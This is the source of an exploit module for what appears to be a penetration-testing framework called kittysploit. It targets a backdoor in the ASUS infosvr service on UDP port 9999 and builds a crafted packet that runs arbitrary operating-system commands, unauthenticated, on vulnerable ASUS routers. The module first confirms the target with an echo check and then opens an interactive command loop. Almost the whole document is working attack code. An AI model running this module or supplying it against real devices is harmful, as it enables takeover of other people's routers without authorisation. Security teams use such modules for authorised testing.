Asus Infosvr Backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Asus Infosvr Backdoor RCE"""

import struct
import time
import socket

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        'name': 'Asus Infosvr Backdoor RCE',
        'description': 'Module exploits remote command execution in multiple ASUS devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'author': ["Joshua 'jduck' Drake; @jduck", 'Friedrich Postelstorfer', 'Michal Bentkowski; @SecurityMB'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://github.com/jduck/asus-cmd'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(9999, "Target UDP port")

    def execute(self, cmd):
        if len(cmd) > 237:
            print_error('Your command must be at most 237 characters long. Longer strings might crash the server.')
            return

        ibox_comm_pkt_hdr_ex = (
            pack("<B", 0x0c) +                      # NET_SERVICE_ID_IBOX_INFO 0xC
            pack("<B", 0x15) +                      # NET_PACKET_TYPE_CMD 0x15
            pack("<H", 0x33) +                      # NET_CMD_ID_MANU_CMD 0x33
            bytes(self.random_text(4), "utf-8") +  # INFO
            bytes(self.random_text(6), "utf-8") +  # MAC Address
            bytes(self.random_text(32), "utf-8")   # Password
        )

        cmd = bytes(cmd, "utf-8") + pack("<B", 0x00)
        pkt_syscmd = (
            pack("<H", len(cmd)) +
            cmd
        )

        payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(self.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), "utf-8")

        udp_client = _udp_socket(self)
        udp_client.send(payload)
        response = udp_client.recv(512)
        udp_client.close()

        if response and len(response) == 512:
            length = unpack('<H', response[14:16])[0]
            return str(response[16: 16 + length], "utf-8")

        return ""
    def check(self):
        NUM_CHECKS = 5  # we try 5 times because the exploit tends to be unstable

        for _ in range(NUM_CHECKS):
            random_value = self.random_text(32)
            cmd = "echo {}".format(random_value)
            retval = self.execute(cmd)

            if random_value in retval:
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()